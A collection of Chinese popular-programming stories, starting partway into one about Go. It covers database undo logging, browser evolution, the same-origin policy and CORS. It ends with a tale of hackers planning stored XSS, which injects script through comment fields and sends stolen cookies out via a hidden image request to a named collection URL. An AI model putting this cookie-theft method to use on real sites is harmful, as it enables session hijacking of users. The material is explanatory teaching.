原来的C老头儿也是编译成exe执行的， Ruby的这个发现一下子激起了大家的妒忌，因为这里的90后们，无论是Java, Python, Ruby, PHP其实都有一个虚拟机帮他们执行程序， 他们都想体验下当个exe，直接在硬件上执行那如飞的感觉，奈何是没有机会啊。




Java 有个好处是Hotspot的虚拟机，能把部分热点代码变成机器指令，在硬件CPU上执行，这已经让Java吹嘘很多天了，没想到又来了一个直接生成exe执行的。 




Java 想起之前C老头儿说的指针和内存管理的地狱，马上抛出一个撒手锏：“你有自动内存管理吗？”




这目录里边的大部分语言都是由虚拟机自动管理内存， 听到Java这么问，心里又来了一些优越感。




“当然有了！你只管创建对象，分配内存，垃圾回收Go会自己做的，我亲爹说过，一定要把C语言不好用的地方改进了！”




这些把大家震住了，一个exe程序，又能自动管理内存，以后我们还有活路吗？




“你们看，这个exe文件好大啊。” 有人叫道。




果真如此，一个小小的hello.exe竟然有1M多，怎么回事？




“我们Go语言默认是静态链接的，那个exe会把运行时所需要的所有东西都加进去，这样你就可以把exe复制到任何地方去运行了，多方便！ 再说了我们那个exe文件还包含着垃圾回收不是？”




Java说：“啊，我明白了，其实你的每个exe文件当中已经包含了一个类似于虚拟机的runtime对不对？ 要不然你怎么去自动地回收垃圾，进行goroutine的调度啊。”




大家伙的优越感又恢复了一点点，至少不会望人项背了。 






夜已深，Java做了个最后的总结：“新来的Go小子代码写起来有点Python的感觉，简洁干练，但骨子中去却流淌着静态类型的血液。他的封装、继承、多态还有goroutine都显得如此与众不同，但是总能在某个语言中找到一点影子，虽然能编译成EXE，性能不错，但实际上也有runtime 。看来是吸收了不少语言的特点啊。”




大伙纷纷表示赞同，然后就鸟兽散了。

（完）
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                    爱炫耀的数据库老头儿

                                                                                

                    

                    

                    
                    
                    1
数据库老头儿


我们这个世界很大， 生活着很多人，形形色色，各怀绝技。但是被公认为最拽的一个却是数据库老头儿，年龄挺大，每天都要炫耀几遍他那关系型数据库， 那理论有着多么坚实的数学基础，那关系运算是多么地优雅，事务管理是多么强大，还有他是多么地稳定， 要不怎么他怎么能活这么久等等。 





老头儿有他拽的资本，因为我们这个系统的核心数据都是在老头儿那里存放着， 例如用户了，订单了，交易了......    我向别人打听过， 这些数据已经在老头儿那里积累了20多年了， 最早的时候是Dephi, PowerBuider 这些上古的软件写的系统访问， 后来慢慢转到互联网，先用PHP访问， 再后来变为Java。 




看来最宝贵的东西是数据， 外界系统可以变， 但是数据不能丢， 老头儿守着这份财产，生生地熬死了一代人，估计还会再熬死一代人。




2
事务


这一天老头儿又在那里一边喝酒，一边“吹嘘” 他的事务管理，说些ACID之类我们都听不懂的外国话， 和数据库经常打交道的是年轻的小伙子Tomcat,   对于老头儿，他比我们多了解那么一点点。





Tomcat端了一杯啤酒来到老头儿桌前：“嗨，老头儿，我知道你说的事务有个重要的特性：原子性，就是说在一个事务中不管有多少操作，都是要么全做，要么全不做，是这样吧！”  




“那是自然！”




“我很好奇，在执行的操作过程中，如果还没做完系统就崩溃了，或者断电了，你怎么办啊？ 你怎么保证原子性？”




听到Tomcat问了一个关键的问题，酒馆里的CPU阿甘， Ngnix, Spring, MyBatis 都围了过来，都想听听老头儿的高见 。




“如果我还没做完，系统就崩溃了，那系统重启以后我就得做恢复操作啊。”




“怎么恢复啊？ ”  Tomcat 穷追不舍。




“你举个例子，我给你分析分析 ” 老头环顾四周，看到人们都围了上来，也来了一点兴致 ， “光讲理论，这些小朋友们怎么听得懂？”




“好啊， 比如旺财有200块钱， 小强有50 块钱，现在旺财要给小强转账，假设转100块吧， 你说说，你是怎么实现要么不做，要么全做的。 ”  




(1)  开始事务 T1 （假设T1是个事务的内部编号）

(2)  旺财余额 = 旺财余额 -100

(3)  小强余额 = 小强余额 + 100

(4)  提交事务 T1




CPU阿甘插了一嘴说： “虽然这些都是我在做计算，但是这些计算结果都是先存在内存中的， 内存那家伙一断电啥都忘了， 如果第三步还没执行完就断电了， 那不就完蛋了。”




数据库老头儿说： “虽然数据先在内存中被计算出来， 但是我是要写入硬盘的数据库文件的，知道不？ ”









“你的数据缓冲区是啥意思？”    人群里有人问道。




“老土！ 连数据缓冲区都不知道！ 我告诉你吧， 那个硬盘啊速度太慢了，比内存慢个几万倍，你说我能每次操作都去写硬盘吗？ 绝对不可能，所以CPU阿甘计算出的数据我会放到数据缓冲区里， 我会在合适的时候把数据缓冲区的内容写入硬盘的数据文件。 ”




“什么合适的时候？”




“那是我的缓冲管理器要做的事情了，想听吗？ 我再花两天给你讲讲！”




3
Undo 日志


“算了算了， 我们还是先假定数据缓冲区能和硬盘的数据文件同步吧， 回到刚才的问题，旺财在给小强转账， 第二步执行完了，旺财的余额变成了100块 （200-100）， 假设已经写入了硬盘文件， 现在断电了， 小强的余额有没有加上，系统的钱白白消失了100块， 数据已经不一致了，  你怎么办？”    Tomcat把话题转移回来。





“放心吧， 我会记录日志的，我有个叫做Undo的日志文件，就是为了解决这个问题的”   老头儿喝了一口酒 ，准备开始放大招  “比如你说的情况， 我会在我的日志文件中记录下事务开始之前的他俩账号余额：




[事务T1,  旺财原有余额 ， 200]

[事务T1, 小强原有余额， 50 ] 




如果事务执行到一半，就断电了，那数据库重启以后我就根据undo的日志文件来恢复。” 




“嗯，那要是系统恢复的过程中又断电了，还得再次恢复，那数据岂不变得一团糟？ ”  CPU阿甘对断电心有余悸。




“对啊对啊”， 周边的人附和到。




“你们这些年轻人啊， 还是too simple,  你们仔细想想，即使我把旺财的余额和小强的余额恢复了100次，会有什么结果？”




“如果每次都试图把旺财的余额设为200， 小强余额设为50， 做多少次都没问题， 因为他俩原来的余额就是那么多 ！”  Tomcat恍然大悟。




“这就叫做操作的幂等性，知道不？ 我可以一直做恢复，恢复过程中断电也不怕，只要把恢复做完就行。” 老头儿看到时机一到，立刻上升为理论。 




“恢复数据的时候， 那你怎么才能知道一个事务没有完成呢？”　Tomcat接着问道。




数据库老头儿对这个问题似乎很满意，  专门花点时间写了几行字：




[开始事务 T1]

[事务T1, 旺财原有余额，200]

[事务T1, 小强原有余额，50]

[提交事务 T1]




“Undo日志文件中不仅仅只有余额， 事务的开始和结束也会记录，如果我在日志文件中看到了[提交事务 T1], 或者 [回滚事务 T1], 我就知道这个事务已经结束，不用再去理会它了， 更不用去恢复。 如果我只看到 [开始事务 T1], 而找不到提交或回滚，那我就得恢复。比如下面这个：”




[开始事务 T1]

[事务T1, 旺财原有余额，200]

[事务T1, 小强原有余额，50]




“特别是，” 老头补充道， “ 我恢复以后， 需要在日志文件中加上一行 [回滚事务 T1] ， 这样下一次恢复我就不用再考虑T1这个事务了。”




4
独门绝技


“不对吧， 你这个Undo日志文件会面临和数据文件一样的问题， 都是需要加载到内存才能读写， 要不然会太慢。  那要是连日志文件还没写好就断电了，那不还是玩完？”　Ngnix 目光如炬，向深层次挖掘。 





这是个绝佳的问题，大家纷纷把目光杀向数据库老头儿，希望这一次能把他打翻在地。




老头儿镇定自若，没有回答，反而给大家抛出一个问题：“你们想想，我什么时候应该记录Undo日志，什么时候把Undo日志写入文件呢？”




“事务一开始的时候就得把Undo日志写入文件， 这样最安全！”  




老头儿笑了笑说： “蠢材！ 一开始的时候我都不知道程序到底要操作那个字段，怎么记录Undo日志，怎么写入硬盘文件？ ”




“那怎么办啊？ ”




“这就是我的独门秘籍了， 我给大家举个例子， 你们可要看仔细了, 我把日志记录也放到了内存的Undo日志缓冲区，伺机写入硬盘。”









（点击看大图）

“不知道你们这些小朋友看出一点门道儿没有？”　老头儿问道。




“让我想想”　Ngnix说， “如果系统在第4步和第5步之间崩溃，旺财的余额写入了硬盘，但是小强的还没写入， 那Undo日志看起来是这样的：




[开始事务 T1]

[事务T1, 旺财原有余额，200]




由于找不到事务结束的日志， 你会进行恢复操作， 把旺财的原有余额给恢复了。 ”




Tomcat 接过来说：“如果是在第7步和第8步之间系统崩溃，旺财和小强的最新余额都写入了硬盘，但是没有提交事务， 那Undo日志看起来是这样的：

[开始事务 T1]

[事务T1, 旺财原有余额，200]

[事务T1, 小强原有余额，50]




由于没有事务结束的日志，你也需要进行恢复，把旺财和小强的原有余额恢复成200和50 ”




CPU阿甘也不甘示弱说： “如果是在第8步和第9步之间系统崩溃， 旺财和小强的最新余额都写入了硬盘， 也提交了事务， 但是提交事务的操作没有写入Undo 日志， 所以Undo日志还是这样：”




[开始事务 T1]

[事务T1, 旺财原有余额，200]

[事务T1, 小强原有余额，50]




由于没有事务结束的日志，你还得需要进行恢复，把旺财和小强的原有余额恢复成200和50”




数据库老头笑眯眯的听着大家的分析，似乎非常的享受： “是不是可以应付各种情况啊？ 啊？”




大家纷纷点头，佩服无比。 




Tomcat都不叫老头儿，改称为老先生了： “ 老先生，  好像是有什么内在的规律，您给说说！”




数据库老头儿无比得意， 兴致勃勃地说， “这就是我的独门秘籍了， 其实很简单了， 就两条： 




1.  在你把最新余额写入硬盘之前， 一定要先把相关的Undo日志记录写入硬盘。 例如[事务T1, 旺财原有余额，200] 一定要在旺财的新余额=100写入硬盘之前写入。




2.  [提交事务 T1] 这样的Undo日志记录一定要在所有的新余额写入硬盘之后再写入。  有了这两条的保证，我就可以高枕无忧了！， 比如说，换个操作次序也没有问题：”






（点击看大图）

大家仔细一想，果真如此啊，看来数据库老头儿， 不，数据库老先生经常自夸还真有道理，人家真的有干货啊。 
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                    浏览器：一个家族的奋斗

                                                                                

                    

                    

                    
                    
                    我是你们每天都要使用的浏览器，自从90年代诞生以来，我们这个大家族变得非常的繁荣，在过去的几十年中，我们一直兢兢业业地帮助你们人类去探索外部的互联网世界。随着互联网和移动互联网的发展，我们家族终于登上了成功的巅峰：几乎占据了全球每一台电脑和手机。




大家只看到表面的光鲜，可是谁知道我们家族在背后充满血和泪的不懈努力呢？




1
起步：从简单到混乱


最初的时候，我们浏览器家族的工作很简单，就是从远端的服务器下载HTML页面到本机，然后按照和你们人类的约定，把充满标签的HTML文本转换成你们容易阅读的页面。例如当我们遇到<table> 这样的标签，我们就展示一个表格，遇到<p>我们就会换行显示一个新的段落，看到<img> 就知道要显示一个图片等等。





由于HTML的结构很简单，我们展示起来也不难，工作相对比较轻松。




可是你们人类很快就不满足了，嚷嚷着说要看漂亮的页面，漂亮的布局，就像报纸杂志那样，分栏、图文混排...... 




于是有不少人盯上了<table>这个标签，这个标签本来的目的是为了显示数据用的，像这样：



 但是这些人发现，既然表格能把页面分成一块一块的，那完全可以来做页面布局啊！ 比如这个单元格可以作为页面的头，那个做左边栏，右边栏......等等。




这个口子一开，立刻成星火燎原之势，再加上那些所见即所得的网页编辑器（如DreamWeaver, FrontPge）推波助澜，表格布局大行其道。




这可苦了我们浏览器家族，我们经常发现HTML中那些令人恐怖的表格，一个套着一个，我见过最极端的有上百个表格套在一起，组成超级无敌的页面。为了把这些表格解析、展示出来，我们都是战战兢兢、如履薄冰，生怕出什么差错。




有时候，程序员会忘记写一些标签的闭合标签，例如</a> </td>，我们还得猜测、推理、论证，最后展示出来的东西你们还不满意：这是什么玩意儿，连个HTML都显示不对！




我们家族的IE同学在这方面的研究可以说是登峰造极，他非常擅长处理这种乱七八糟的情形，他的纵容成功地让你们把HTML越写越乱！




2
CSS来拯救


终于有一天这样的HTML页面连你们人类都看不懂了，你们吵了半天，放了一个“损招”出来：把结构和展示分开！ 





HTML只负责文档的结构，一个叫做CSS的东西来控制这个结构到底展示成什么样子。




在CSS中，程序员只需要用声明的方式说，这个表格宽度是1px, 字体是11px, 边框颜色是 #666666，然后你们就不管了，具体怎么实现全部扔给了我们：




table.gridtable { 


    font-family: verdana,arial,sans-serif; 

    font-size:11px; 

    color:#333333; 

    border-width: 1px; 

    border-color: #666666; 

    border-collapse: collapse; 

}

对于你们来说变简单了，可是对我们浏览器来说就太难了。我们得老老实实地去解析HTML （这HTML有可能还不规范），形成一颗叫做DOM（Document Object Model）的树，这还不算，还要去解析CSS, 形成另外一个叫做CSSOM (CSS Object Model)的树，然后把两棵树合并成一个“渲染树” 这才能在界面上绘制出来。




现在的CSS都已经出到第三个版本了，可是我们家族还有不少人没法完整的支持这个规范，尤其是一些老旧的浏览器，可见这是多么不容易啊。




3
误入歧途


我们家族也走过一段弯路，那是一段不堪回首的浏览器插件的历史。





当时有人提出HTML+CSS太简单了，浏览器中的页面没法和当时的桌面应用相媲美，能不能用扩展一下啊？




最早的尝试来自于Java Applet，这也是Java 赖以成名，从此走上第一大编程语言的绝技。那帮疯狂的家伙们竟然在我们这单薄的小身板里安装了一个Java 虚拟机，用于从服务器端下载Java 代码、运行，展示出漂亮的动画效果。




刚开始的时候我们努力地支持，但是它运行起来慢如蜗牛、丑陋无比。我们那些可爱的用户也不答应，不去安装或者禁止使用这傻大笨粗的Java 虚拟机，于是Java Applet就慢慢地销声匿迹了。




与此同时，一个叫做流氓插件的毒瘤也迅速地向我们袭来，在你浏览网页的时候，这些流氓静悄悄地潜入我们的身体，他们传播病毒、弹出广告、窥探用户隐私，并且难于卸载，让我们痛不欲生。后来数字公司推出了一个保镖，杀了一个回马枪，这次把流氓给清除了出去。




当然不能一棍子打死，插件中也有良民，比如Flash , 这小子可是风光了好多年，收到了人民群众的广泛喜爱，当年出现了很多的Flash 小动画，小视频，小游戏，我至今还记得有好事者竟然用Flash 去做《鹿鼎记》动画，也不知道他做完没有。




Flash 极为火爆，我们让他在我们家族寄宿了20多年，直到移动互联网时代的崛起，尤其是乔布斯的推波助澜，这才慢慢退出历史舞台。




4
重装上阵：JavaScript


向我们家族里安装插件的尝试并不成功，但是我们还是想和桌面应用竞争，让浏览器应用有着桌面应用的体验，这时候有个叫JavaScript的屌丝自告奋勇，说自己可以在浏览器中执行代码，提高页面的动态性。





刚开始的时候我们并不待见他，本来解析HTML, CSS就够我们受的了，我们竟然还要去执行JavaScript代码。尤其烦人的是，JavaScript还可能对DOM进行修改，比如让某个元素隐藏。唉，我们只好把画好的元素重新渲染，重新绘制。




不仅是控制界面，JavaScript还要执行逻辑，刚开始的时候我们觉得这小子没啥用处，无非就是做点简单的判断，像什么表单中用户名不能为空了，密码和确认密码两个输入框的值必须得相等之类。




后来有人搞了一个叫做AJAX的东西出来，从此发展出一堆类似JQuery 、 Bootstrap、ExtJS 这样的类库，浏览器中的页面可用性越来越高，体验越来越好。




最后随着前端框架（Angular, Backbone, React 等）出现，我们家族在浏览器中完全实现了界面的展示和页面的调整，成功地做了前后端分离，把端服务器做的生意给抢过来一大部分，把他们气得够呛。




5
替人类保存数据


HTML来负责结构，CSS负责展示，JavaScript负责行为，这是我们每天要做的三件大事，还有一件重要的事情就是存储数据。


想当年，人类把HTTP设计成一个没有状态的协议，即使是同一个人，在极短的时间内访问同一个服务器，服务器也会认为这是完全两个不同的请求，根本不知道是同一个人发出的。




当有成千上万的人都来访问同一个服务器的时候，服务器怎么才能把大家区分开呢？要是不区分开，服务器端怎么才能实现购物车的功能？服务器怎么才能记住这个裤子是张三买的，那个羽绒服是李四买的？




后来人类出了一个损招：当用户使用我们访问服务器的时候，会给每个用户都建立一个会话，每个会话都有一个独一无二的ID。这个ID服务器端会保存，同时也会发回到我们浏览器这边，让我们暂存起来，美名其曰小饼干(cookie)，听起来不错，但是这个小饼干却不能吃。




当用户访问同一网站的时候，我们还得把这个cookie 向服务器发送过去，服务器通过cookie取到那个会话ID，于是就知道是谁在访问它了。









我们保存了这个小饼干，但是大家觉得这个小饼干能保存的数据量太小，于是我们就在浏览器中又开辟了两块巨大的空间，给JavaScript 那小子提供了接口，让他把字符串存储到浏览器中。

这两块空间一个叫localStorage, 一个叫sessionStorage 。他们俩的用法非常相似，例如：




localStorage.setItem("username", "Andy");

alert("username=" + localStorage.getItem("username"));




这样以来用户就可以放心地在我们这里存储大量的数据了。只不过这个sessionStorage 和cookie类似，表示的是一个会话的概念，所以一般来说，页面一旦关闭，存储的数据就会消失。




但是这个localStorage 就不同了，只要你不把数据删除，它会一直存在。这引起了我们家族有些人的强烈抗议：如果JavaScript那小子忘记删除，那垃圾岂不越来越多？




没办法，只有拜托各位程序员了，对于无用的数据，及时删除吧。

6
向多媒体和游戏进军


要让浏览器变成一个和桌面应用相媲美的平台，仅仅有展示页面和存储数据的能力是不够的。我们决定增加对视频和音频的支持，这一次直接撕去了插件的伪装，“赤裸裸”地在HTML中加了<video>和<audio>这两个新标签，从此以后，家族的每个成员都得想办法去播放音频和视频了：





<video src="movie.mp4" width="320" height="240" controls="controls">

你的浏览器不支持video标签

</video>




<audio src="song.mp3" controls="controls"> 你的浏览器不支持audio标签 </audio>




我们在手机上的浏览器兄弟们更加地努力，他们还支持直接调用手机的摄像头去拍摄照片，这实在是太方便了。




既然都能支持音频、视频、摄像头了，何不更进一步，在浏览器中搞一把实时通信？




不用额外安装插件或者第三方软件，在两个浏览器之间就能进行语音或者视频的聊天，这个想法确实是挺激动人心的，我们把它称为WebRTC。不过这个想法的实现比较困难，虽说我们家族的Chrome再不遗余力地推动，但是要让我们家族在所有的平台上（Windows, Android, iOS,mac）都实现了还需要继续努力。




此外我们还一直惦记着游戏这个令人垂涎三尺的大市场，绝对不能放过！ 于是我们添加了<canvas>的标签，意思是画布，这样JavaScript那小子就可以在画布上去绘制路径、各种形状、添加图片...... 总而言之，程序员终于可以写出一个只依赖浏览器就可以运行的游戏了，完全不用什么Flash 。




看看下面这两个简单的小游戏，如果我不告诉你，估计你都不知道这完全是HTML+JavaScript  做出来的吧：






水果忍者



中国象棋




7
让服务器从被动变为主动


你们人类原来指定的HTTP协议都是从我们这里向服务器端发出请求，然后服务器响应，一个请求，一个响应，严格对应。





后来大家发现这样不好，服务器一直处于被动的地位，服务器端的数据有了变化（例如股票又涨了）后，浏览器如果不主动访问的话是不知道的，所以浏览器只好一遍遍不厌其烦地发送请求：　

浏览器：股票涨了没有？　服务器：没有

浏览器：股票涨了没有？　服务器：没有

浏览器：股票涨了没有？　服务器：没有

......

浏览器：股票涨了没有？　服务器：涨了　




这种方式叫做轮询，效率极为低下。




能不能让服务器向我们主动地推送数据呢 ？股票一涨，立刻就向浏览器推送，浏览器即刻展示。




我们和服务器做了多次谈判，终于建立了这么一个办法：双方建立连接以后就不要断开了，一直保持住，我们可以通过这个通道向服务器发送数据，服务器也可以主动向我们推送数据。




这个技术，我们把它称为Web socket。




8
总结


CSS, JavaScript , 本地存储，多媒体和游戏，Web Socket ...... 这只是我们家族提供的一部分服务，还有很多其他的服务例如HTML标签的语义化：我们提供了很多诸如<article> , <section> , <nav> ,<aside>, <header>,<footer>这样的标签来帮助你们人类更好的定义网页的结构。




这样的东西非常非常的多，我想你应该明白我们家族的不断努力了吧，如果你一边听我讲一边在思考，也许会悟出我们的使命：不断提升应用程序在Web端的体验。




也许有一天，所有的桌面应用都消失了，全部变成了在浏览器中运行的程序，那将是我们浏览器家族荣耀的顶峰，我们期待着这一天早日到来。




（完）
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前言


上次我说过，我们浏览器的主要工作就是把HTML，JavaScript，CSS等文件从服务器端取下来，然后解析、渲染，展示成美奂美伦的页面呈现给人类。




我们还替人类保护一个叫做Cookie的小东西，网站会把Cookie发送给浏览器让我们保存起来，等到访问同一个网站的时候，我们再把他发过去。




这个Cookie用来证明某个用户已经和服务器交互过，更重要的是证明已经登录过系统，不用再次登录了。




JavaScript这小子在我们这里承担了越来越重要的职责，从对DOM树的改动，到利用AJAX访问服务器端，他可以说是风光无限。




（详情参见上一篇文章《浏览器：一个家族的奋斗》）




可是我们都忽视了一个重要的问题：安全，这个东西差点让我们家族遭受灭顶之灾。




2
Cookie失窃


有一天，我的主人登录了"爱存不存"银行(www.icbc.com)，这个银行网站给我发了一个Cookie，证明主人登录过了， 主人在“爱存不存”银行网站做了一些操作，但是忘记了退出，然后开了一个新的Tab页访问了一个叫做www.beauty.com ,我知道这个网站不怀好意，拼命地提醒主人，但是他仍然经不住网站上那些图片的诱惑，执意把这个网站打开。




我没有办法，只好下载这个不怀好意网站的HTML,JavaScript，CSS， 让我没有想到的是这里的JavaScript竟然想访问“爱存不存”银行的Cookie。




“这个Cookie是爱存不存银行给我的，不属于www.beauty.com，你为啥要访问？” 我问他。




“没事，我好奇，想看看别的网站的Cookie长什么样”  他轻松地回答。




我将信将疑地把Cookie给了他，他不知道做了什么花样，似乎是往www.beauty.com发了一个请求，然后就把Cookie还给了我。




很快我的主人就发现，他在“爱存不存”银行的私房钱不翼而飞了。




FireFox嘲笑我说：“你这个家伙啊，怎么能够把Cookie这么重要的东西随随便便地给别人呢？ ‘爱存不存’银行的Cookie被黑客偷走了，那些黑客不用登录就可以冒充用户在‘爱存不存’网站做操作了。”




“啊？ 有这么严重？ 可他是JavaScript，照理说可以访问啊？”




“唉，你要知道，这个JavaScript和那个Cookie不是同一个网站的，怎么能访问呢。”




由于这件事，主人再我不理我了，从此开始宠幸FireFox。




3
密码失窃


FireFox也没得意很久，他也很快中了招。




这一次，主人还是忍不住去www.beauty.com看图片，FireFox这次很小心，不把任何别的网站的Cookie发给这里的JavaScript。




但这一次beauty.com改变了策略，它用iframe的方式放置了一个淘宝的登录网页到beauty.com页面中，淘宝恰恰是主人最喜欢的，主人一看，不错啊，还有快捷登录方式，于是主人就输入了自己真实的用户名和密码，没想到Beauty.com的JavaScript 已经把这个淘宝登录Form的action指向了自家网站，等到主人点了登录按钮以后， 用户名和明文的密码就这样被窃取了。




于是FireFox也被打入冷宫。






4
家族会议


黑客猖獗，类似的安全事故不断出现，我们家族的成员纷纷中招，家族赶紧召集会议，商量对策，防止人类把我们家族给废掉。




我和FireFox在会议上声讨现在的人类实在是喜欢访问那些不良网站，族长Mozilla说没办法这是人类的本性，无论如何也无法改变，如果改了就不是人类了。




“虽然我们控制不了人类的行为，但是我们浏览器家族可以做点改变，增加安全性！” Mozilla族长充满正义感和使命感，他下达了一个命令：“以后我们家族确定一条铁规：除非两个网页是来自于统一‘源头’， 否则不允许一个网页的JavaScript访问另外一个网页的内容，像Cookie，DOM，LocalStorage统统禁止访问！” 




我仔细咂摸这句话的含义，其实是说各个网页如果不同源的，就被隔离了，只能在自己的一亩三分地中折腾。




“什么叫同一个源头？” FireFox问道。




“就是说{protocol,host,port} 这三个东西必须得一样！ 我给你们举个例子， 例如有这么一个网页： http://www.store.com/product/page.html， 下面的表格列出了各种不同情况。”









这个同源策略确实严格， 不同源的网页无法访问另外一个网页的DOM,Cookie, 像beauty.com那样的恶意网站想偷走Cookie/密码就不容易了。




我想到了主人之前购物经常访问的http://www.store.com/, 这个页面中有一段装载jquery.js的代码：




<script src="//static.store.com/jquery.js > </script>




这个jquery.js是来自于不同的源（static.store.com）， 难道他就没法操作www.store.com页面的内容了吗？ 如果不能操作，这个jquery.js就没有任何用处啦！




我把这个困惑给大家说了下， FireFox马上附和： “没错，难道我们要强制人类把所有的JavaScript代码放到www.store.com下吗？ 人类肯定不能容忍！ ”




“嗯，这是个好问题”  Mozilla族长说，“这样，我给你们开个口子，对于使用<script src='xxxxx'> 加载的JavaScript，我们认为它的源属于www.store.com， 而不属于static.store.com，这样就可以操作www.store.com的页面了，行不行？”




我和FireFox都表示赞同，其实这种“嵌入式”的跨域加载资源的方式还有<img>,<link>等，相当于我们浏览器发起了一次GET请求，取到相关资源，然后放到本地而已。




同源策略就这么确定下来了， 我们这些浏览器都开始严格遵守执行，果然，安全事故大大减少。




5
凡事都有例外


过了一段时间，JavaScript这小子便跑来抱怨了：“你们这个同源策略实在太严格了，太不方便了。”




我说：“这也是为了大家好啊，省得那些不良网站干坏事。”




JavaScript说：“好什么好？ 现在人类的系统越来越大，大部分都拆分成分布式的了，每个系统都有子域名，像login.store.com, payment.store.com， 虽然二级域名不同，但是他们属于一个大的系统，由于同源策略的铁规，cookie不能在这个系统之间共享，麻烦死了。”




这确实是个问题，我带着JavaScript找到到Mozilla组长，说明情况，希望他网开一面。




族长说：“好吧，我再给你们开个口子，如果两个网页的一级域名是相同的，他们可以共享cookie, 不过cookie的domain一定要设置为那个一级域名才可以，例如：”

document.cookie = 'test=true;path=/;domain=store.com'




JavaScript说：“还有个大问题，你们为什么不让我使用XMLHttpRequest访问不同的网站啊！”




我心想JavaScript说的可能是AJAX，可以创建一个XMLHttpRequest对象去异步的访问服务器端提供的服务，做到局部刷新页面，用户体验很好。




难道这个XMLHttpRequest对象只能访问源服务器（如book.com），不能访问其他服务器(如beauty.com)?








族长说：“是啊，XMLHttpReqeust也要遵守同源策略。”




JavaScript说：“可是这没有道理啊！我虽然是从book.com来的，但是为什么不让我访问beauty.com？”




族长说：“我这也是为了防止黑客攻击，给你举个例子，假设你的主人登录了book.com , 然后又去访问beauty.com，如果这个beauty.com是个恶意网站，它也要求你创建一个XMLHttpRequest对象，通过这个对象向book.com（不同源）发起请求，获取你主人的账户信息，会发生什么情况？ ”




JavaScript恍然大悟：“奥，我懂了，由于主人登录过了book.com，登录cookie什么的都在，那beauty.com的JavaScript 向book.com发起的XMLHttpRequest请求也会成功，我主人的账户信息就会被黑客给获取了。”




我说：“看来对XMLHttpReqeust对象施加同源策略也是非常重要的啊！”




JavaScript沉默了半天说：“那怎么办？”




Mozilla族长说：“你可以通过服务器端中转啊，例如你是来自book.com的， 现在想访问movie.com，那可以让那个book.com把请求转发给movie.com嘛！人类好像给这种方式起了个名字，叫什么代理模式，那个book.com就是代理人。”





JavaScript急忙说：“不不， 这样太麻烦了，族长你想想，如果我要访问多个不同源的系统，要是都通过book.com中转，该多麻烦！”




族长想了想说：“你说得有一定道理，我给你出个主意，既然服务器（domain）之间是互信的，那一个服务器(domain)可以设置一个白名单，里边列出它允许哪些服务器(domain)的AJAX请求。假设movie.com的白名单中有book.com， 那当属于book.com的JavaScript试图访问movie.com的时候......”




JavaScript马上接口说：“ 这时候，我们浏览器做点手脚，悄悄地把当前的源(book.com)发过去，询问下movie.com, 看看他是否允许我们访问，如何允许，你们就继续访问，否则就报错！”








组长说：“就是这个意思，这样以来，那些黑客就没有办法假冒用户向这些互信的服务器发送请求了， 我把这个方法叫做Cross Origin Resource Sharing，简称CORS，只不过这个方法需要服务器的配合了”




(码农翻身注：上面说的是CORS的简单请求，对于Preflight请求，本文不在展开描述)




JavaScript表示同意，这也算是一个不错的妥协方法了。

（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    黑客三兄弟

                                                                                

                    

                    

                    
                    
                    建立Beauty.com的黑客三兄弟最近可谓是春风得意，他们的这个网站精准地利用了人类的本性，窃取了不少登录用户的cookie。




（码农翻身注：参见前文《浏览器的安全反击战》）




利用别人的cookie，他们可以冒充真实的用户，在颁发cookie的那个网站中为所欲为，个人隐私在他们面前根本不存在。




运气好的话连别人的用户名和密码都能得到，那就一通百通，因为大家都嫌麻烦，总是使用同一套用户名和密码来登录各种不同系统。




可是好景不长，这一天黑客老三慌慌张张地找到了老大：“大哥，大事不好！ ”




“老三，你这慌慌张张的毛病什么时候能改改？ 这点儿你可得学学你二哥。” 老大训斥道。




“不是，大哥，这次真是大事不妙，浏览器家族最近颁布了一个什么同源策略，我们原来偷Cookie的招数都不管用了！ 今天我连一个Cookie，用户名密码都没有偷到。”




“什么叫偷，说了多少次了，那就借，知道不？！”




（码农翻身注：同源策略参见前文《浏览器的安全反击战》）




“我早就料到了，这么重大的安全漏洞肯定肯定会补上的，他们不会这么轻易地让我们来跨域来访问别人的Cookie，修改别人的DOM，调用别人的服务的。”  老成持重的黑客老二说道。




“那怎么办？ 没有Cookie，难道我们三兄弟以后就饿肚子了吗？”  老三很紧张。




“别担心，我们哥仨勾兑勾兑，他们肯定有漏洞的，” 老大安慰到，“老二，你先说说你的看法。”




“其实吧，我们想去借一个Cookie来用，关键是要让我们Beauty.com的JavaScript在目标浏览器上运行，然后访问爱存不存银行(icbc.com.cn)的cookie，可是现在他们用了同源策略，我们网站的JavaScript不允许访问别人网站的东西，那这条路就行不通了。”









“我想到一个招数，” 老三兴奋地说，“我们可以想办法修改下icbc.com.cn服务器端的JavaScript， 把偷Cookie的代码加上去！”




“你想得美，那岂不得到icbc.com.cn的服务器去修改了！还得黑掉别人的服务器，这就难了，即使你修改了，人家程序员再次发布新版本，那不就把我们的修改给覆盖掉了？” 老大再次训斥。




“那我们就想办法去黑掉程序员的SVN，Github，直接把上面的代码给改了.....”  老三的声音越来越小。




“唉，算了吧，我们盗亦有道，只做Web端黑客。” 老大重申三人组织的性质。




这时候老二想了一个办法：“其实老三说的也有道理，我们只要想办法把JavaScript代码注入到目标页面中，就能绕过同源策略了，这让我想到了HTML中的<input>，这个标签会在浏览器中产生一个输入框，让用户输入数据，我们可以把JavaScript代码当做数据输入进去， 等到数据提交到服务器端，会保存下来，下次展示页面的时候不就可以执行了吗？！”




老三说：“二哥我听不太明白，你能不能举个例子？”




老二说道：“好吧，有这么一个网站，可以让你对某个文章输入评论：”





“然后，你在评论区输入了这样的代码，注意，我们注入了一段'JavaScript'”









“等到再次有人访问这个页面的时候，会发生什么呢？”  老二启发老三。




“奥，我明白了，那就可以把那个人的cookie显示出来了！”老三一点都不笨。








兴奋之余，老三挠挠头：“ 但是这只是在人家的浏览器中显示，怎么才能发到我们的服务器呢？ 用JavaScript来发？ 那也不行， 因为同源策略严格限制JavaScript的跨域访问呐！”




老大也说：“是啊，这个人看到自己的cookie被alert出来，估计会吓一跳吧。”




老二说：“嗯，确实不能这么办，让我想想。”




一炷香时间过去，老二说：“有了！ 那个同源策略并不限制<img>这样的标签从别的网站（跨域）去下载图片，我们在注入JavaScript代码的时候，同时创建一个用户不可见的<img>，通过这个<img>发cookie发给我们。”




老三还是不明白， 要求再详细解释一下，老二就上了代码：








老二说：“看到了吧，只要这段代码被执行，用户的cookie就会发到我们服务器上(http://beauty.com/log)，我们就等着收取cookie吧！”

老三感慨道：“二哥你真厉害，天马行空，竟然想到了使用<img>的src属性来发送数据！”




